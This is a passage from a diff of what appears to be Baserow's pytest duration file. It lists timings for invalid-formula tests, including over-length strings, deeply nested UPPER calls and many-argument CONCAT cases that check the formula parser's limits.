0.1688843319998341, - "tests/baserow/contrib/database/formula/test_baserow_formula_results.py::test_invalid_formulas[UPPER('a','a')-ERROR_WITH_FORMULA-Error with formula: 2 arguments were given to the function upper, it must instead be given exactly 1 argument.]": 0.16916670899991004, - "tests/baserow/contrib/database/formula/test_baserow_formula_results.py::test_invalid_formulas[UPPER('ttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttt')-ERROR_WITH_FORMULA-Error with formula: an embedded string in the formula over the maximum length of 10000 .]": 0.17411016700043547, - "tests/baserow/contrib/database/formula/test_baserow_formula_results.py::test_invalid_formulas[UPPER()-ERROR_WITH_FORMULA-None]": 0.1707139170002847, - "tests/baserow/contrib/database/formula/test_baserow_formula_results.py::test_invalid_formulas[UPPER(1)-ERROR_WITH_FORMULA-None]": 0.1696775840000555, - "tests/baserow/contrib/database/formula/test_baserow_formula_results.py::test_invalid_formulas[UPPER(1,2)-ERROR_WITH_FORMULA-None]": 0.16999820900036866, - "tests/baserow/contrib/database/formula/test_baserow_formula_results.py::test_invalid_formulas[UPPER(UPPER(UPPER(UPPER(UPPER(UPPER(UPPER(UPPER(UPPER(UPPER(UPPER(UPPER(UPPER(UPPER(UPPER(UPPER(UPPER(UPPER(UPPER(UPPER(UPPER(UPPER(UPPER(UPPER(UPPER(UPPER(UPPER(UPPER(UPPER(UPPER(UPPER(UPPER(UPPER(UPPER(UPPER(UPPER(UPPER(UPPER(UPPER(UPPER(UPPER(UPPER(UPPER(UPPER(UPPER(UPPER(UPPER(UPPER(UPPER(UPPER(UPPER(UPPER(UPPER(UPPER(UPPER(UPPER(UPPER(UPPER(UPPER(UPPER(UPPER(UPPER(UPPER(UPPER(UPPER(UPPER(UPPER(UPPER(UPPER(UPPER(UPPER(UPPER(UPPER(UPPER(UPPER(UPPER(UPPER(UPPER(UPPER(UPPER(UPPER(UPPER(UPPER(UPPER(UPPER(UPPER(UPPER(UPPER(UPPER(UPPER(UPPER(UPPER(UPPER(UPPER(UPPER(UPPER(UPPER(UPPER(UPPER(UPPER(UPPER(UPPER(UPPER(UPPER(UPPER(UPPER(UPPER(UPPER(UPPER(UPPER(UPPER(UPPER(UPPER(UPPER(UPPER(UPPER(UPPER(UPPER(UPPER(UPPER(UPPER(UPPER(UPPER(UPPER(UPPER(UPPER(UPPER(UPPER(UPPER(UPPER(UPPER(UPPER(UPPER(UPPER(UPPER(UPPER(UPPER(UPPER(UPPER(UPPER(UPPER(UPPER(UPPER(UPPER(UPPER(UPPER(UPPER(UPPER(UPPER(UPPER(UPPER(UPPER(UPPER(UPPER(UPPER(UPPER(UPPER(UPPER(UPPER(UPPER(UPPER(UPPER(UPPER(UPPER(UPPER(UPPER(UPPER(UPPER(UPPER(UPPER(UPPER(UPPER(UPPER(UPPER(UPPER(UPPER(UPPER(UPPER(UPPER(UPPER(UPPER(UPPER(UPPER(UPPER(UPPER(UPPER(UPPER(UPPER(UPPER(UPPER(UPPER(UPPER(UPPER(UPPER(UPPER(UPPER(UPPER(UPPER(UPPER(UPPER(UPPER(UPPER(UPPER(UPPER(UPPER(UPPER(UPPER(UPPER(UPPER(UPPER(UPPER(UPPER(UPPER(UPPER(UPPER(UPPER(UPPER(UPPER(UPPER(UPPER(UPPER(UPPER(UPPER(UPPER(UPPER(UPPER(UPPER(UPPER(UPPER(UPPER(UPPER(UPPER(UPPER(UPPER(UPPER(UPPER(UPPER(UPPER(UPPER(UPPER(UPPER(UPPER(UPPER(UPPER(UPPER(UPPER(UPPER(UPPER(UPPER(UPPER(UPPER(UPPER(UPPER(UPPER(UPPER(UPPER(UPPER(UPPER(UPPER(UPPER(UPPER(UPPER(UPPER(UPPER(UPPER(UPPER(UPPER(UPPER(UPPER(UPPER(UPPER(UPPER(UPPER(UPPER(UPPER(UPPER(UPPER(UPPER(UPPER(UPPER(UPPER(UPPER(UPPER(UPPER(UPPER(UPPER(UPPER(UPPER(UPPER(UPPER(UPPER(UPPER(UPPER(UPPER(UPPER(UPPER(UPPER(UPPER(UPPER(UPPER(UPPER(UPPER(UPPER(UPPER(UPPER(UPPER(UPPER(UPPER(UPPER(UPPER(UPPER(UPPER(UPPER(UPPER(UPPER(UPPER(UPPER(UPPER(UPPER(UPPER(UPPER(UPPER(UPPER(UPPER(UPPER(UPPER(UPPER(UPPER(UPPER(UPPER(UPPER(UPPER(UPPER(UPPER(UPPER(UPPER(UPPER(UPPER(UPPER(UPPER(UPPER(UPPER(UPPER(UPPER(UPPER(UPPER(UPPER(UPPER(UPPER(UPPER(UPPER(UPPER(UPPER(UPPER(UPPER(UPPER(UPPER(UPPER(UPPER(UPPER(UPPER(UPPER(UPPER(UPPER(UPPER(UPPER(UPPER(UPPER(UPPER(UPPER(UPPER(UPPER(UPPER(UPPER(UPPER(UPPER(UPPER(UPPER(UPPER(UPPER(UPPER(UPPER(UPPER(UPPER(UPPER(UPPER(UPPER(UPPER(UPPER(UPPER(UPPER(UPPER(UPPER(UPPER(UPPER(UPPER(UPPER(UPPER(UPPER(UPPER(UPPER(UPPER(UPPER(UPPER(UPPER(UPPER(UPPER(UPPER(UPPER(UPPER(UPPER(UPPER(UPPER(UPPER(UPPER(UPPER(UPPER(UPPER(UPPER(UPPER(UPPER(UPPER(UPPER(UPPER(UPPER(UPPER(UPPER(UPPER(UPPER(UPPER(UPPER(UPPER(UPPER(UPPER(UPPER(UPPER(UPPER(UPPER(UPPER(UPPER(UPPER(UPPER(UPPER(UPPER(UPPER(UPPER(UPPER(UPPER(UPPER(UPPER(UPPER(UPPER(UPPER(UPPER(UPPER(UPPER(UPPER(UPPER(UPPER(UPPER(UPPER(UPPER(UPPER(UPPER(UPPER(UPPER(UPPER(UPPER(UPPER(UPPER(UPPER(UPPER(UPPER(UPPER(UPPER(UPPER(UPPER(UPPER(UPPER(UPPER(UPPER(UPPER(UPPER(UPPER(UPPER(UPPER(UPPER(UPPER(UPPER(UPPER(UPPER(UPPER(UPPER(UPPER(UPPER(UPPER(UPPER(UPPER(UPPER(UPPER(UPPER(UPPER(UPPER(UPPER(UPPER(UPPER(UPPER(UPPER(UPPER(UPPER(UPPER(UPPER(UPPER(UPPER(UPPER(UPPER(UPPER(UPPER(UPPER(UPPER(UPPER(UPPER(UPPER(UPPER(UPPER(UPPER(UPPER(UPPER(UPPER(UPPER(UPPER(UPPER(UPPER(UPPER(UPPER(UPPER(UPPER(UPPER(UPPER(UPPER(UPPER(UPPER(UPPER(UPPER(UPPER(UPPER(UPPER(UPPER(UPPER(UPPER(UPPER(UPPER(UPPER(UPPER(UPPER(UPPER(UPPER(UPPER(UPPER(UPPER(UPPER(UPPER(UPPER(UPPER(UPPER(UPPER(UPPER(UPPER(UPPER(UPPER(UPPER(UPPER(UPPER(UPPER(UPPER(UPPER(UPPER(UPPER(UPPER(UPPER(UPPER(UPPER(UPPER(UPPER(UPPER(UPPER(UPPER(UPPER(UPPER(UPPER(UPPER(UPPER(UPPER(UPPER(UPPER(UPPER(UPPER(UPPER(UPPER(UPPER(UPPER(UPPER(UPPER(UPPER(UPPER(UPPER(UPPER(UPPER(UPPER(UPPER(UPPER(UPPER(UPPER(UPPER(UPPER(UPPER(UPPER(UPPER(UPPER(UPPER(UPPER(UPPER(UPPER(UPPER(UPPER(UPPER(UPPER(UPPER(UPPER(UPPER(UPPER(UPPER(UPPER(UPPER(UPPER(UPPER(UPPER(UPPER(UPPER(UPPER(UPPER(UPPER(UPPER(UPPER(UPPER(UPPER(UPPER(UPPER(UPPER(UPPER(UPPER(UPPER(UPPER(UPPER(UPPER(UPPER(UPPER(UPPER(UPPER(UPPER(UPPER(UPPER(UPPER(UPPER(UPPER(UPPER(UPPER(UPPER(UPPER(UPPER(UPPER(UPPER(UPPER(UPPER(UPPER(UPPER(UPPER(UPPER(UPPER(UPPER(UPPER(UPPER(UPPER(UPPER(UPPER(UPPER(UPPER(UPPER(UPPER(UPPER(UPPER(UPPER(UPPER(UPPER(UPPER(UPPER(UPPER(UPPER(UPPER(UPPER(UPPER(UPPER(UPPER(UPPER(UPPER(UPPER(UPPER(UPPER(UPPER(UPPER(UPPER(UPPER(UPPER(UPPER(UPPER(UPPER(UPPER(UPPER(UPPER(UPPER(UPPER(UPPER(UPPER(UPPER(UPPER(UPPER(UPPER(UPPER(UPPER(UPPER(UPPER(UPPER(UPPER(UPPER(UPPER(UPPER(UPPER(UPPER(UPPER(UPPER(UPPER(UPPER(UPPER(UPPER(UPPER(UPPER(UPPER(UPPER(UPPER(UPPER(UPPER(UPPER(UPPER(UPPER(UPPER(UPPER(UPPER(UPPER(UPPER(UPPER(UPPER(UPPER(UPPER(UPPER(UPPER(UPPER(UPPER(UPPER(UPPER(UPPER(UPPER(UPPER(UPPER(UPPER(UPPER(UPPER(UPPER(UPPER(UPPER(UPPER(UPPER(UPPER(UPPER(UPPER(UPPER(UPPER(UPPER(UPPER(UPPER(UPPER(UPPER(UPPER(UPPER(UPPER(UPPER(UPPER(UPPER(UPPER(UPPER(UPPER(UPPER(UPPER(UPPER(UPPER(UPPER(UPPER(UPPER(UPPER(UPPER(UPPER(UPPER(UPPER(UPPER(UPPER(UPPER(UPPER(UPPER(UPPER(UPPER(UPPER(UPPER(UPPER(UPPER(UPPER(UPPER(UPPER(UPPER(UPPER(UPPER(UPPER(UPPER(UPPER(UPPER(UPPER(UPPER(UPPER(UPPER(UPPER(UPPER(UPPER(UPPER(UPPER(UPPER(UPPER(UPPER(UPPER(UPPER(UPPER(UPPER(UPPER(UPPER(UPPER(UPPER(UPPER(UPPER(UPPER(UPPER(UPPER(UPPER(UPPER(UPPER(UPPER(UPPER(UPPER(UPPER(UPPER(UPPER(UPPER(UPPER(UPPER(UPPER(UPPER(UPPER(UPPER(UPPER(UPPER(UPPER(UPPER(UPPER(UPPER(UPPER(UPPER(UPPER(UPPER(UPPER(UPPER(UPPER(UPPER(UPPER(UPPER(UPPER(UPPER(UPPER(UPPER(UPPER(UPPER(UPPER(UPPER(UPPER(UPPER(UPPER(UPPER(UPPER(UPPER(UPPER(UPPER(UPPER(UPPER(UPPER(UPPER(UPPER(UPPER(UPPER(UPPER(UPPER(UPPER(UPPER(UPPER(UPPER(UPPER(UPPER(UPPER(UPPER(UPPER(UPPER(UPPER(UPPER(UPPER(UPPER(UPPER(UPPER(UPPER(UPPER(UPPER(UPPER(UPPER(UPPER(UPPER(UPPER(UPPER(UPPER(UPPER(UPPER(UPPER(UPPER(UPPER(UPPER(UPPER(UPPER(UPPER(UPPER(UPPER(UPPER(UPPER(UPPER(UPPER(UPPER(UPPER(UPPER(UPPER(UPPER(UPPER(UPPER(UPPER(UPPER(UPPER(UPPER(UPPER(UPPER(UPPER(UPPER(UPPER(UPPER(UPPER(UPPER(UPPER(UPPER(UPPER(UPPER(UPPER(UPPER(UPPER(UPPER(UPPER(UPPER(UPPER(UPPER(UPPER(UPPER(UPPER(UPPER(UPPER(UPPER(UPPER(UPPER(UPPER(UPPER(UPPER(UPPER(UPPER('test'))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))-ERROR_WITH_FORMULA-Error with formula: it exceeded the maximum formula size.]": 0.19886970799962, - "tests/baserow/contrib/database/formula/test_baserow_formula_results.py::test_invalid_formulas[concat(upper(1), lower('a'))-ERROR_WITH_FORMULA-Error with formula: argument number 1 given to function upper was of type number but the only usable type for this argument is text.]": 0.17749362499853305, - "tests/baserow/contrib/database/formula/test_baserow_formula_results.py::test_invalid_formulas[concat(upper(1), lower(2))-ERROR_WITH_FORMULA-Error with formula: argument number 1 given to function upper was of type number but the only usable type for this argument is text, argument number 1 given to function lower was of type number but the only usable type for this argument is text.]": 0.18816487599997345, + "tests/baserow/contrib/database/formula/test_baserow_formula_results.py::test_invalid_formulas['a' < 1-ERROR_WITH_FORMULA-None]": 0.12067324999952689, + "tests/baserow/contrib/database/formula/test_baserow_formula_results.py::test_invalid_formulas['a' > 1-ERROR_WITH_FORMULA-None]": 0.1276128760073334, + "tests/baserow/contrib/database/formula/test_baserow_formula_results.py::test_invalid_formulas['t'/1-ERROR_WITH_FORMULA-None]": 0.12737458301126026, + "tests/baserow/contrib/database/formula/test_baserow_formula_results.py::test_invalid_formulas[1/'t'-ERROR_WITH_FORMULA-None]": 0.13026087498292327, + "tests/baserow/contrib/database/formula/test_baserow_formula_results.py::test_invalid_formulas[10/LOWER(1)-ERROR_WITH_FORMULA-None]": 0.1327714590006508, + "tests/baserow/contrib/database/formula/test_baserow_formula_results.py::test_invalid_formulas[CONCAT('a')-ERROR_WITH_FORMULA-Error with formula: 1 argument was given to the function concat, it must instead be given more than 1 arguments.]": 0.1311702500388492, + "tests/baserow/contrib/database/formula/test_baserow_formula_results.py::test_invalid_formulas[CONCAT('test','test','test','test','test','test','test','test','test','test','test','test','test','test','test','test','test','test','test','test','test','test','test','test','test','test','test','test','test','test','test','test','test','test','test','test','test','test','test','test','test','test','test','test','test','test','test','test','test','test','test','test','test','test','test','test','test','test','test','test','test','test','test','test','test','test','test','test','test','test','test','test','test','test','test','test','test','test','test','test','test','test','test','test','test','test','test','test','test','test','test','test','test','test','test','test','test','test','test','test','test','test','test','test','test','test','test','test','test','test','test','test','test','test','test','test','test','test','test','test','test','test','test','test','test','test','test','test','test','test','test','test','test','test','test','test','test','test','test','test','test','test','test','test','test','test','test','test','test','test','test','test','test','test','test','test','test','test','test','test','test','test','test','test','test','test','test','test','test','test','test','test','test','test','test','test','test','test','test','test','test','test','test','test','test','test','test','test','test','test','test','test','test','test','test','test','test','test','test','test','test','test','test','test','test','test','test','test','test','test','test','test','test','test','test','test','test','test','test','test','test','test','test','test','test','test','test','test','test','test','test','test','test','test','test','test','test','test','test','test','test','test','test','test','test','test','test','test','test','test','test','test','test','test','test','test','test','test','test','test','test','test','test','test','test','test','test','test','test','test','test','test','test','test','test','test','test','test','test','test','test','test','test','test','test','test','test','test','test','test','test','test','test','test','test','test','test','test','test','test','test','test','test','test','test','test','test','test','test','test','test','test','test','test','test','test','test','test','test','test','test','test','test','test','test','test','test','test','test','test','test','test','test','test','test','test','test','test','test','test','test','test','test','test','test','test','test','test','test','test','test','test','test','test','test','test','test','test','test','test','test','test','test','test','test','test','test','test','test','test','test','test','test','test','test','test','test','test','test','test','test','test','test','test','test','test','test','test','test','test','test','test','test','test','test','test','test','test','test','test','test','test','test','test','test','test','test','test','test','test','test','test','test','test','test','test','test','test','test','test','test','test','test','test','test','test','test','test','test','test','test','test','test','test','test','test','test','test','test','test','test','test','test','test','test','test','test','test','test','test','test','test','test','test','test','test','test','test','test','test','test','test','test','test','test','test','test','test','test','test','test','test','test','test','test','test','test','test','test','test','test','test','test','test','test','test','test','test','test','test','test','test','test','test','test','test','test','test','test','test','test','test','test','test','test','test','test','test','test','test','test','test','test','test','test','test','test','test','test','test','test','test','test','test','test','test','test','test','test','test','test','test','test','test','test','test','test','test','test','test','test','test','test','test','test','test','test','test','test','test','test','test','test','test','test','test','test','test','test','test','test','test','test','test','test','test','test','test','test','test','test','test','test','test','test','test','test','test','test','test','test','test','test','test','test','test','test','test','test','test','test','test','test','test','test','test','test','test','test','test','test','test','test','test','test','test','test','test','test','test','test','test','test','test','test','test','test','test','test','test','test','test','test','test','test','test','test','test','test','test','test','test','test','test','test','test','test','test','test','test','test','test','test','test','test','test','test','test','test','test','test','test','test','test','test','test','test','test','test','test','test','test','test','test','test','test','test','test','test','test','test','test','test','test','test','test','test','test','test','test','test','test','test','test','test','test','test','test','test','test','test','test','test','test','test','test','test','test','test','test','test','test','test','test','test','test','test','test','test','test','test','test','test','test','test','test','test','test','test','test','test','test','test','test','test','test','test','test','test','test','test','test','test','test','test','test','test','test','test','test','test','test','test','test','test','test','test','test','test','test','test','test','test','test','test','test','test','test','test','test','test','test','test','test','test','test','test','test','test','test','test','test','test','test','test','test','test','test','test','test','test','test','test','test','test','test','test','test','test','test','test','test','test','test','test','test','test','test','test','test','test','test','test','test','test','test','test','test','test','test','test','test','test','test','test','test','test','test','test','test','test','test','test','test','test','test','test','test','test','test','test','test','test','test','test','test','test','test','test','test','test','test','test','test','test','test','test','test','test','test','test','test','test','test','test','test','test','test','test','test','test','test','test','test','test','test','test','test','test','test','test','test','test','test','test','test','test','test','test','test','test','test','test','test','test','test','test','test','test','test','test','test','test','test','test','test','test','test','test','test','test','test','test','test','test','test','test','test','test','test','test','test','test','test','test','test','test','test','test','test','test','test','test','test','test','test','test','test','test','test','test','test','test','test','test','test','test','test','test','test','test','test','test','test','test','test','test','test','test','test','test','test','test','test','test','test','test','test','test','test','test','test','test','test','test','test','test','test','test','test','test','test','test','test','test','test','test','test','test','test','test','test','test','test','test','test','test','test','test','test','test','test','test','test','test','test','test','test','test','test','test','test','test','test','test','test','test','test','test','test','test','test','test','test','test','test','test','test','test','test','test','test','test','test','test','test','test','test','test','test','test','test','test','test','test','test','test','test','test','test','test','test','test','test','test','test','test','test','test','test','test','test','test','test','test','test','test','test','test','test','test','test','test','test','test','test','test','test','test','test','test','test','test','test','test','test','test','test','test','test','test','test','test','test','test','test','test','test','test','test','test','test','test','test','test','test','test','test','test','test','test','test','test','test','test','test','test','test','test','test','test','test','test','test','test','test','test','test','test','test','test','test','test','test','test','test','test','test','test','test','test','test','test','test','test','test','test','test','test','test','test','test','test','test','test','test','test','test','test','test','test','test','test','test','test','test','test','test','test','test','test','test','test','test','test','test','test','test','test','test','test','test','test','test','test','test','test','test','test','test','test','test','test','test','test','test','test','test','test','test','test','test','test','test','test','test','test','test','test','test','test','test','test','test','test','test','test','test','test','test','test','test','test','test','test','test','test','test','test','test','test','test','test','test','test','test','test','test','test','test','test','test','test','test','test','test','test','test','test','test','test','test','test','test','test','test','test','test','test','test','test','test','test','test','test','test','test','test','test','test','test','test','test','test','test','test','test','test','test','test','test','test','test','test','test','test','test','test','test','test','test','test','test','test','test','test','test','test','test','test','test','test','test','test','test','test','test','test','test','test','test','test','test','test','test','test','test','test','test','test','test','test','test','test','test','test','test','test','test','test','test','test','test','test','test','test','test','test','test','test','test','test','test','test','test','test','test','test','test','test','test','test','test','test','test','test','test','test','test','test','test','test','test','test','test','test','test','test','test','test','test','test','test','test','test','test','test','test','test','test','test','test','test','test','test','test','test','test','test','test','test','test','test','test','test','test','test','test','test','test','test','test','test','test','test','test','test','test','test','test','test','test','test','test','test','test','test','test','test','test','test','test','test','test','test','test','test','test','test','test','test','test','test','test','test','test','test','test','test','test','test','test','test','test','test','test','test','test','test','test','test','test','test','test','test','test','test','test','test','test','test','test','test','test','test','test','test','test','test','test','test','test','test','test','test','test','test','test','test','test','test','test','test','test','test','test','test','test','test','test','test','test','test','test','test','test','test','test','test','test','test','test','test','test','test','test','test','test','test','test','test','test','test','test','test','test','test','test','test','test','test','test','test','test','test','test','test','test','test','test','test','test','test','test','test','test','test','test','test','test','test','test','test','test','test','test','test','test','test','test','test','test','test','test','test','test','test','test','test','test','test','test','test','test','test','test','test','test','test','test','test','test','test','test','test','test','test','test','test','test','test','test','test','test','test','test','test','test','te